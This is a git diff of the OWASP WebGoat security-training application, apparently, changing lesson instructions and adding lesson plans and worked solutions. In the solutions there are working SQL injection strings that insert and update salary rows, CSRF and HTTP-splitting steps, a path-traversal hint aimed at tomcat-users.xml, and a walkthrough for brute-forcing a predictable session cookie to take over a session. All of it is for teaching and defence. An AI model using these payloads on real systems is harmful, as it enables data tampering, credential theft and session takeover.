a072a5dfe..c840fe83e 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java @@ -149,7 +149,8 @@ public class SQLInjection extends GoatHillsFinancial } else if (STAGE2.equals(stage)) { - instructions = "Stage 2: Block SQL Injection using a Parameterized Query.
    " + instructions = "Stage 2: Block SQL Injection using a Parameterized Query.

    " + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    " + "Implement a fix to block SQL injection into the fields in question on the Login page. " + "Repeat stage 1. Verify that the attack is no longer effective."; } @@ -161,7 +162,8 @@ public class SQLInjection extends GoatHillsFinancial } else if (STAGE4.equals(stage)) { - instructions = "Stage 4: Block SQL Injection using a Parameterized Query.
    " + instructions = "Stage 4: Block SQL Injection using a Parameterized Query.

    " + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    " + "Implement a fix to block SQL injection into the relevant parameter. " + "Repeat stage 3. Verify that access to Neville's profile is properly blocked."; } diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java index 18fcc4680..7a872b451 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SessionFixation.java @@ -245,7 +245,7 @@ public class SessionFixation extends SequentialLessonAdapter + "During the last week we had a few problems with our database. " + "We have received many complaints regarding incorrect account details. " + "Please use the following link to verify your account " - + "data:


    Goat Hills Financial


    " + "We are sorry for the any inconvenience and thank you for your cooparation.

    " diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java index 3cf57aaa2..3ccd0bc97 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/SqlStringInjection.java @@ -141,7 +141,7 @@ public class SqlStringInjection extends SequentialLessonAdapter { ElementContainer ec = new ElementContainer(); - ec.addElement(WebGoatI18N.get("StringSqlInjectioNSecondStage")); + ec.addElement(WebGoatI18N.get("StringSqlInjectionSecondStage")); if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart")) { getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); diff --git a/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java b/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java index 3daba76c0..a3fcd219d 100644 --- a/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java +++ b/webgoat/src/main/java/org/owasp/webgoat/lessons/WSDLScanning.java @@ -118,7 +118,7 @@ public class WSDLScanning extends LessonAdapter hints.add("Try connecting to the WSDL with a browser or Web Service tool."); hints.add("Sometimes the WSDL will define methods that are not available through a web API. " + "Try to find operations that are in the WSDL, but not part of this API"); - hints.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning
    " + hints.add("The URL for the web service is: http://localhost/webgoat/services/WSDLScanning
    " + "The WSDL can usually be viewed by adding a ?WSDL on the end of the request."); hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request."); return hints; diff --git a/webgoat/src/main/resources/WebGoatLabels_english.properties b/webgoat/src/main/resources/WebGoatLabels_english.properties index c3bee7ec3..e10085eab 100644 --- a/webgoat/src/main/resources/WebGoatLabels_english.properties +++ b/webgoat/src/main/resources/WebGoatLabels_english.properties @@ -82,7 +82,7 @@ FileTooLarge=File is too large FileBinary=File is binary TheFollowingError=The following error occurred while accessing the file: < PathBasedAccessControlInstr1=The ' -PathBasedAccessControlInstr2=' user has access to all the files in the lesson_plans/English directory. Try to break the access control mechanism and access a resource that is not in the listed directory. After selecting a file to view, WebGoat will report if access to the file was granted. An interesting file to try and obtain might be a file like tomcat/conf/tomcat-users.xml +PathBasedAccessControlInstr2=' user has access to all the files in the lesson_plans/English directory. Try to break the access control mechanism and access a resource that is not in the listed directory. After selecting a file to view, WebGoat will report if access to the file was granted. An interesting file to try and obtain might be a file like tomcat/conf/tomcat-users.xml. Remember that file paths will be different if using the WebGoat source. ErrorGenerating=Error generating ViewingFile=Viewing file: File=File: diff --git a/webgoat/src/main/webapp/images/header/header.jpg b/webgoat/src/main/webapp/images/header/header.jpg index 2e7acbad7..d5c71eeba 100644 Binary files a/webgoat/src/main/webapp/images/header/header.jpg and b/webgoat/src/main/webapp/images/header/header.jpg differ diff --git a/webgoat/src/main/webapp/images/logos/Thumbs.db b/webgoat/src/main/webapp/images/logos/Thumbs.db new file mode 100644 index 000000000..ac16b0730 Binary files /dev/null and b/webgoat/src/main/webapp/images/logos/Thumbs.db differ diff --git a/webgoat/src/main/webapp/images/logos/seleucus.png b/webgoat/src/main/webapp/images/logos/seleucus.png new file mode 100644 index 000000000..f95c1dce4 Binary files /dev/null and b/webgoat/src/main/webapp/images/logos/seleucus.png differ diff --git a/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html b/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html deleted file mode 100644 index b25b4f944..000000000 --- a/webgoat/src/main/webapp/lesson_plans/English/BufferOverflow.html +++ /dev/null @@ -1,9 +0,0 @@ -
    -

    Lesson Plan Title: How to Exploit Buffer Overflows

    -
    - -

    Concept / Topic To Teach:

    -How to Exploit Buffer Overflows. -

    General Goal(s):

    -This lesson needs a creator! - \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_plans/English/CSRF.html b/webgoat/src/main/webapp/lesson_plans/English/CSRF.html index dc17ddef9..594d049bd 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CSRF.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CSRF.html @@ -21,6 +21,6 @@ In this way, the attacker can make the victim perform actions that they didn't i

    General Goal(s):

    -Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu. +Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu.
    Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html b/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html index a5b524be2..7a505f2ac 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CsrfPromptByPass.html @@ -27,6 +27,7 @@ parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the sh left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on -the left hand side menu. +the left hand side menu.
    +Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html b/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html index b0cbe426d..b57ea6b83 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html +++ b/webgoat/src/main/webapp/lesson_plans/English/CsrfTokenByPass.html @@ -31,7 +31,8 @@ request to transfer funds. To successfully complete you need to obtain a valid The page that presents the transfer funds form contains a valid request token. The URL for the transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load this page, read the token and append the token in a forged request to transferFunds. When you think -the attack is successful, refresh the page and you will find the green check on the left hand side menu. +the attack is successful, refresh the page and you will find the green check on the left hand side menu.
    +Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. diff --git a/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html b/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html index 94cb85851..551f7cb32 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html +++ b/webgoat/src/main/webapp/lesson_plans/English/HowToWork.html @@ -33,17 +33,11 @@ solution for complete details.

    To read and edit Parameters you need a local proxy to intercept the HTTP request. Here we use WebScarab. More information on WebScarab can be found in the "Useful Tools" Chapter. -After installing WebScarab and configuring your browser to use it as proxy on localhost we can start.

    -

    -We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.

    -

    -Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.

    Read And Edit Cookies

    -Often it is not only necessary to change the value of the parameters but to change the value of cookies. -We can use WebScarab to intercept the request and change cookies values just like parameter data as explained in the last topic.

    -

    -We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit the values of them. +Often it is not only necessary to change the value of the parameters but to change the value of cookies. +WebScarab has functionality for this as well. +

    diff --git a/webgoat/src/main/webapp/lesson_plans/English/HttpSplitting.html b/webgoat/src/main/webapp/lesson_plans/English/HttpSplitting.html index ac0906a93..bf042b323 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/HttpSplitting.html +++ b/webgoat/src/main/webapp/lesson_plans/English/HttpSplitting.html @@ -30,5 +30,6 @@ Date: Fri, 30 Dec 2005 17:32:47 GMT

    This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.

    Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) characters to exploit the attack. Your goal should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage. After stage 2 is exploited successfully, you will find the green check in the left menu.

    +

    You may find the PHP Charset Encoder useful. The Encode and DecodeURIComponent buttons translate CR and LF.

    diff --git a/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html b/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html new file mode 100644 index 000000000..53bd06d01 --- /dev/null +++ b/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html @@ -0,0 +1,21 @@ +
    +

    Lesson Plan Title: How to Exploit "Off-by-One" Buffer Overflow Vulnerabilities

    +
    +

    Concept / Topic To Teach:

    +How to Exploit a Web Based "Off-by-One" Buffer Overflow. +
    +
    +

    How the attack works: +

    +Despite being more rare, buffer overflow vulnerabilities on the web occur when a tier of the application has insufficient memory allocated to deal with the data submitted by the user. Typically, such a tier would be written in C or a similar language. + +For the particular subset, namely, off-by-one overflows, this lesson focuses on the consequences of being able to overwrite the position for the trailing null byte. + +As a result, further information is returned back to the user, due to the fact that no null byte was found. +
    +

    Lesson Goal(s):

    + +

    Welcome to the OWASP Hotel! Can you find out which room a VIP guest is staying in?

    + +* Understand how a buffer overflow vulnerability can be triggered on a web application.
    +* Understand what type of value lengths are likely to trigger a buffer overflow.
    \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html b/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html index e69db2dce..7c23aa847 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html +++ b/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html @@ -12,6 +12,15 @@ operates as an intercepting proxy, we can review and modify requests and responses.



    Webpage:http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project +
    The .jar install file can be found at the OWASP Sourceforge Page

    +

    After installing WebScarab and configuring your browser to use it as proxy on localhost we can start. If you are using localhost for your Tomcat server, remember to put a "." after the hostname when browsing to WebGoat.

    +

    +We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.

    +

    +Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.

    +WebScarab is also used to intercept the request and change cookies values just like parameter data:

    +

    +We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit their values.

    Firebug:

    diff --git a/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html b/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html index cebd41567..5d888cf5f 100644 --- a/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html +++ b/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html @@ -9,6 +9,7 @@ xmlns="http://www.w3.org/TR/REC-html40"> +Basic Authentication HTTP Response

     

    Intercept the -reply and replace the body with document.forms[0].SUBMIT.disabled = false;

    +reply and replace the body with document.form.SUBMIT.disabled = false;

     

    @@ -804,7 +804,7 @@ reply and replace the body with document.forms[0].SUBMIT.disabled = false;< visibility:visible;mso-wrap-style:square'>

    +src="lesson_solutions/DOMInjection_files/image008fix.jpg" v:shapes="Picture_x0020_52">

    Figure + + + + + + + + +

    + +

    Lesson +Plan Title: Same Origin Policy Protection.

    + +

     

    + +

    Concept / +Topic To Teach:

    + +

    A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous calls from the client side to a server. However, as a security measure these requests may only be made to the server from which the client page originated.

    + +  + +

    General +Goal(s):

    + +

    + +

    This exercise demonstrates the Same Origin Policy Protection. XHR requests can only be passed back to the originating server. Attempts to pass data to a non-originating server will fail.
    + +

    +  + +

    Solution:

    + +

    Click both of the links on the page to see their behavior and complete the lesson.

    + +   + + +

     

    + +
    + + + + diff --git a/webgoat/src/main/webapp/lesson_solutions/SilentTransactions.html b/webgoat/src/main/webapp/lesson_solutions/SilentTransactions.html index ced7ca01b..da814a15d 100644 --- a/webgoat/src/main/webapp/lesson_solutions/SilentTransactions.html +++ b/webgoat/src/main/webapp/lesson_solutions/SilentTransactions.html @@ -9,6 +9,7 @@ xmlns="http://www.w3.org/TR/REC-html40"> +Solution: Silent Transcations Attacks 5 Updated HTTP request with SOAP parameters

    +

     

    The response @@ -850,7 +855,7 @@ src="lesson_solutions/SoapRequest_files/image010.jpg" v:shapes="Picture_x0020_17

    Figure 5 Intercept response

     

    diff --git a/webgoat/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg b/webgoat/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg new file mode 100644 index 000000000..fc258a811 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/SqlAddData.html b/webgoat/src/main/webapp/lesson_solutions/SqlAddData.html new file mode 100644 index 000000000..5e0ba4aba --- /dev/null +++ b/webgoat/src/main/webapp/lesson_solutions/SqlAddData.html @@ -0,0 +1,43 @@ + + + + +Solution: Modify Data with SQL + + + +

    Lesson Plan Title: Add Data with SQL

    + +

    Concept / Topic To Teach:
    +SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. +

    +Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
    +
    +It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
    +
    +

    + +

    General Goal(s):
    +The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to add a record to the table. +

    + +Solution:

    +In this lesson, we will use the INSERT query, which uses the format:
    +INSERT INTO table VALUES (value1, value2);

    +In this case, the salaries table has two relevant columns: column 1 is userid, and column 2 is salary. +We will use the command:
    +INSERT INTO salaries VALUES ('rlupin',140000);

    +This, however, will not work correctly. We are inserting this in between two single quotes in the command:
    +SELECT * FROM salaries WHERE userid='userid';

    +If we treated this lesson as we have treated the previous one, our command would look like this:
    +SELECT * FROM salaries WHERE userid='whatever'; INSERT INTO salaries VALUES ('rlupin',150000);'

    +The statement cannot end with a single quote after the semicolon, so we must comment out the quote using --.
    +To complete this lesson, type the following into the field and press go:
    +whatever'; INSERT INTO salaries VALUES ('rlupin',140000);--

    +If you then search for the userid rlupin, you will see there is new record.

    + +
    +New employee record after using an INSERT query.


    + + + \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg b/webgoat/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg new file mode 100644 index 000000000..025d0c4c0 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/SqlModifyData.html b/webgoat/src/main/webapp/lesson_solutions/SqlModifyData.html new file mode 100644 index 000000000..90594689a --- /dev/null +++ b/webgoat/src/main/webapp/lesson_solutions/SqlModifyData.html @@ -0,0 +1,39 @@ + + + + +Solution: Modify Data with SQL + + + +

    Lesson Plan Title: Modify Data with SQL

    + +

    Concept / Topic To Teach:
    +SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. +

    +Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
    +
    +It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
    +
    +

    + +

    General Goal(s):
    +The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to modify the salary for userid jsmith. +

    + +Solution:

    +In this lesson, instead of using the SELECT query command, we use the UPDATE command, which uses the format:
    +UPDATE table SET column=value WHERE column=value;

    +We need to update the table salaries, setting the salary column to a new number.
    +We will use the command:
    +UPDATE salaries SET salary=999999 WHERE userid='jsmith'

    +We also need to end the previous query and leave our last quote open to make a valid statment.
    +To complete this lesson, type the following into the field and press go:
    +whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith

    +If you then search for the userid jsmith, you will see the salary has been updated.

    + +
    +Updated salary after using a MODIFY query.


    + + + \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg b/webgoat/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg new file mode 100644 index 000000000..0b5b82073 Binary files /dev/null and b/webgoat/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg differ diff --git a/webgoat/src/main/webapp/lesson_solutions/SqlStringInjection.html b/webgoat/src/main/webapp/lesson_solutions/SqlStringInjection.html index 3736e471a..725648e08 100644 --- a/webgoat/src/main/webapp/lesson_solutions/SqlStringInjection.html +++ b/webgoat/src/main/webapp/lesson_solutions/SqlStringInjection.html @@ -9,6 +9,7 @@ xmlns="http://www.w3.org/TR/REC-html40"> +Solution: SQL String Injection - - - - - + +Solution: How to Hijack a Session + + +

    Lesson Plan Title: How to Hijack a Session

    - +

    Concept / Topic To Teach:
    +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. +

    -
    +

    General Goal(s):
    +Try to access an authenticated session belonging to someone else.

    +In this lesson we are trying to predict the WEAKID value. THe WEAKID is used to differentiate authenticated and anonymous users of WebGoat. +

    -

     

    +Solution:

    +The easiest way to complete this lesson is to use WebScarab's Session ID Analysis feature. The Solution Videos provide another method of uncovering it as well.

    +To access the Session ID Analysis, you need to put WebScarab in its full-featured mode, if it isn't already. This can be enabled by going to Tools -> use full-featured interface in WebScarab.
    +Click on the SessionID Analysis tab at the top of the page, then use the Previous Requests dropdown to select the most recent GET request with a 200 OK header. Its address will end with webgoat/attack, not an image or java file.

    -

    Lesson -Plan Title: How to -Hijack a Session

    +
    +Selecting the correct GET request for Session ID analysis.

    -

     

    +Next, we need to make sure that WebScarab is able to fetch the WEAKID cookie. Click the Test button at the bottom of the page. You should get a popup window showing the WEAKID.

    -

    Concept / -Topic To Teach:

    +
    +Succesful WEAKID test popup.

    - +If the popup indicates that no valid session is found, that means there is already a WEAKID value in the request. This prevents the "Set-Cookie" header from being sent in the response. To fix this, delete the WEAKID=value; portion of the Cookie header and press test again.

    -

    Application -developers who develop their own session IDs frequently forget to incorporate -the complexity and randomness necessary for security. If the user specific -session ID is not complex and random, then the application is highly -susceptible to session-based brute force attacks.

    +Now we need to fetch a set of WEAKIDs. Enter "50" into the Samples field at the bottom of the window, then press Fetch. Switch to the "Analysis" tab. Select the WEAKID option from the Session Identifier dropdown, and the window should populate with WEAKID values.

    -

     

    +The WEAKID is divided into two parts: the first part before the dash is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted.
    +Notice that there is sometimes a gap in the first value of the WEAKID, where one number is skipped. The missing value is what we need to log in, we just need to figure out the time stamp value that goes after the dash.

    +It's simple to spot where this value is. Look at the "Difference" column on the analysis screen. Almost all of the values will be only one or two apart. We are looking for the record where this value is around double the rest of them.

    -

    General -Goal(s):

    +
    +Analysis screen with the cookie of interest highlighted.

    -

    Try to access -an authenticated session belonging to someone else.

    +This WEAKID follows the one we're trying to find. You will notice the identifier of the cookie preceding the highlighted one is two less, whereas all the other cookies decrease only by one. The one missing is what we want to find:
    +16964-1312472439375
    +16966-1312472439484

    +The WEAKID beginning with 16965 is missing. This is the WEAKID we want, we just need to figure out the second part.
    - +We'll figure this out by using the brute force method. We will send requests with each possible timestamp value until we find one that is successful. Its timestamp must be between the two surrounding it:
    +16964-1312472439375
    +16965-?????????????
    +16966-1312472439484

    -

     

    +So our timestamp is between 1312472439375 and 1312472439484. Now we just need a program to do brute force this for us. We will use J-Baah, previously known as Crowbar. Download it and run the .jar.

    +We will configure J-Baah to send our request repeatedly, with a different WEAKID each time. Copy our RAW HTTP Request we used to generate these cookies, found under the Collection tab. Paste it in the Request box in J-Baah.

    -

    In this -lesson the purpose is to predict the WEAKID value. The WEAKID is used to -differentiate authenticated and anonymous users of WebGoat.

    +The WEAKID paramter needs to be put into the request. It will begin with the missing value we figured out before the dash, 16965 in our case. How do we fill in the rest when we dont know what it is?
    +In this case, we will add WEAKID=16965-1312472439##1##; to the Cookie paramter of our request. The ##1## replaces the part of the timestamp that varies in our range. Next, we specify this range. In the Paramter 1 Tab, we set From as 375, and To as 484.

    -

     

    +
    +J-Baah setup.

    +Lastly, go to the "Target" tab at the bottom right, and set the Host to localhost and the Port to whichever port WebGoat is using, generally 80 or 8080.
    +Go back to the "Action" tab, and click Base Response. You should see a message on the bottom left that a response is generated successfully. Change Threads to 2 and then press Start. The bottom left window should start filling up with "Hijack a session"

    -

    +
    +All of the responses for each WEAKID. The successful attempt is highlighted.

    -

     

    -

     

    +Before we go any further, it is important to understand what is happening here. The ##1## string is replaced with a different number in the range we specified and the request is sent. The first WEAKID tried is 16965-1312472439375, then it tries every timestamp until the last one, 16965-1312472439484. J-Baah collects all of these responses and shows them in the bottom left window.

    -

    Solution:

    +Each line shows one response, and displays important information about it.

    +0.99969 : 417 : : Hijack a Session
    +Clicking base response tries the first WEAKID and sets its response as the control. This first number indicates how similar this response is to the base response. A value of 1 means the responses are identical. The further the number is from 1, the more different this response is.
    +
    +0.99969 : 417 : : Hijack a Session
    +This second number is the value replacing the ##1## in our request.

    +0.99969 : 417 : : Hijack a Session
    +The last portion is the title of the response page. In this case, if it's not "Hijack a Session", something went wrong.

    -

     

    +The value indicating similarity to the base response will tell us which WEAKID worked. If everything went swimmingly, there should only be three values for this number. Look again at the screenshot above. There are many responses showing .99969, one showing .9949, then many more showing .99954. The response stayed the same until we got to the WEAKID ending in 429, then it changed. This is where the brute force succeeded. Right click on this response and click "Show Response".

    -

    The easiest -way to complete this lesson is to use WebScarab's Session ID Analysis.

    +
    +This WEAKID worked! We hijacked this session.

    -

     

    +Refreshing the lesson should show it is complete.

    -

    Go to -WebScarab and click on the button "SessionID Analysis". Select the last POST -request from the "Previous requests" drop-down box.

    -

    - -

    Figure 1 WebScarabs SessionID Analysis

    - -

     

    - -

    To make sure -that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test" -button on the bottom of the screen. A pop-up window must be shown like below.

    - -

     

    - -

    - -

    Figure 2 SessionID WEAKID discovered

    - -

     

    - -

    If you don’t -have a pop-up window with the Extracted Sessionids, you must edit the Request. -You must delete the WEAKID value from the request. Without this cookie value, -WebGoat will return a HTTP Header "Set-Cookie: WEAKID=value" so WebScarab -learns about this value.

    - -

     

    - -

     

    - -

    Fetch 50 -samples and examine the results. Enter "50" in the "Samples" window and click -the button "Fetch". You will not see any information about progress.

    - -

     

    - -

    - -

     

    - -

    Now you need -to go to the tab "Analysis".

    - -

     

    - -

    - -

     

    - -

    In the "Analysis" -pane you see nothing.

    - -

    - -

    You must -select the Session Identifier WEAKID value from the drop-down box.

    - -

     

    - -

    - -

     

    - -

    The WEAKID is -divided in 2 parts: the first part is an identifier that is added 1 in every -cookie and a time value. The time value is calculated at the moment that you -submit the request.

    - -

     

    - -

    Notice that -there is sometimes a gap in the first value of the WEAKID, skipping with 1. The -value that is missing is the value that you need to know to log on. Now you -only need to calculate the timestamp. This can be brute-forced using Crowbar. -You know the previous timestamp and the next timestamp so you have a start and -end value.
    -You can download Crowbar for free: http://www.sensepost.com/research/crowbar/ -

    - -

     

    - -

    - -

     

    - -

    There is a -value 16935 and a value 16937 with a numeric difference of 28110 instead of -14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP -request in Crowbar:

    - -

    - -

    Figure 3 Crowbar

    - -

     

    - -

    Change target -to localhost and adjust the port.

    - -

    Create a Base -response. Make sure that you see "How to hijack a session" in the middle -window.

    - -

     

    - -

    Insert ##1## -in the WEAKID parameter where you want to brute-force the value and be aware, that the first part of the WEAKID is the one we are searching for (16936). -The WEAKID in Crowbar lookes like this: Cookie: JSESSIONID=...; WEAKID=16936-1163685##1##;
    -Start the first loop at 363093, the last digits of the last cookie before the -authentication cookie and 363203, the first cookie after the authentication -cookie. You have to enter these two values in the Parameter1 fields. We have to brute-force these values, but we are sure that they lie -between these two boundaries.

    - -

    Examine the -results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on "Show -reply".

    - -

     

    - -

    - -

    Figure 4 Lesson 12 Completed

    - -

     

    - -

     

    - -
    - - - - - -
    - Solution by Erwin Geirnaert - ZION SECURITY
    - - + \ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK new file mode 100644 index 000000000..d2605b85c --- /dev/null +++ b/webgoat/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK @@ -0,0 +1,889 @@ + + + + + + + +Solution: How to Hijack a Session + + + + + + + + + + + + +
    + +

     

    + +

    Lesson +Plan Title: How to +Hijack a Session

    + +

     

    + +

    Concept / +Topic To Teach:

    + + + +

    Application +developers who develop their own session IDs frequently forget to incorporate +the complexity and randomness necessary for security. If the user specific +session ID is not complex and random, then the application is highly +susceptible to session-based brute force attacks.

    + +

     

    + +

    General +Goal(s):

    + +

    Try to access +an authenticated session belonging to someone else.

    + + + +

     

    + +

    In this +lesson the purpose is to predict the WEAKID value. The WEAKID is used to +differentiate authenticated and anonymous users of WebGoat.

    + +

     

    + +

    + +

     

    + +

     

    + +

    Solution:

    + +

     

    + +

    The easiest +way to complete this lesson is to use WebScarab's Session ID Analysis.

    + +

     

    + +

    Go to +WebScarab and click on the button "SessionID Analysis". Select the last POST +request from the "Previous requests" drop-down box.

    + +

    + +

    Figure 1 WebScarabs SessionID Analysis

    + +

     

    + +

    To make sure +that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test" +button on the bottom of the screen. A pop-up window must be shown like below.

    + +

     

    + +

    + +

    Figure 2 SessionID WEAKID discovered

    + +

     

    + +

    If you don’t +have a pop-up window with the Extracted Sessionids, you must edit the Request. +You must delete the WEAKID value from the request. Without this cookie value, +WebGoat will return a HTTP Header "Set-Cookie: WEAKID=value" so WebScarab +learns about this value.

    + +

     

    + +

     

    + +

    Fetch 50 +samples and examine the results. Enter "50" in the "Samples" window and click +the button "Fetch". You will not see any information about progress.

    + +

     

    + +

    + +

     

    + +

    Now you need +to go to the tab "Analysis".

    + +

     

    + +

    + +

     

    + +

    In the "Analysis" +pane you see nothing.

    + +

    + +

    You must +select the Session Identifier WEAKID value from the drop-down box.

    + +

     

    + +

    + +

     

    + +

    The WEAKID is +divided in 2 parts: the first part is an identifier that is added 1 in every +cookie and a time value. The time value is calculated at the moment that you +submit the request.

    + +

     

    + +

    Notice that +there is sometimes a gap in the first value of the WEAKID, skipping with 1. The +value that is missing is the value that you need to know to log on. Now you +only need to calculate the timestamp. This can be brute-forced using Crowbar. +You know the previous timestamp and the next timestamp so you have a start and +end value.
    +You can download Crowbar for free: http://www.sensepost.com/research/crowbar/ +

    + +

     

    + +

    + +

     

    + +

    There is a +value 16935 and a value 16937 with a numeric difference of 28110 instead of +14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP +request in Crowbar:

    + +

    + +

    Figure 3 Crowbar

    + +

     

    + +

    Change target +to localhost and adjust the port.

    + +

    Create a Base +response. Make sure that you see "How to hijack a session" in the middle +window.

    + +

     

    + +

    Insert ##1## +in the WEAKID parameter where you want to brute-force the value and be aware, that the first part of the WEAKID is the one we are searching for (16936). +The WEAKID in Crowbar lookes like this: Cookie: JSESSIONID=...; WEAKID=16936-1163685##1##;
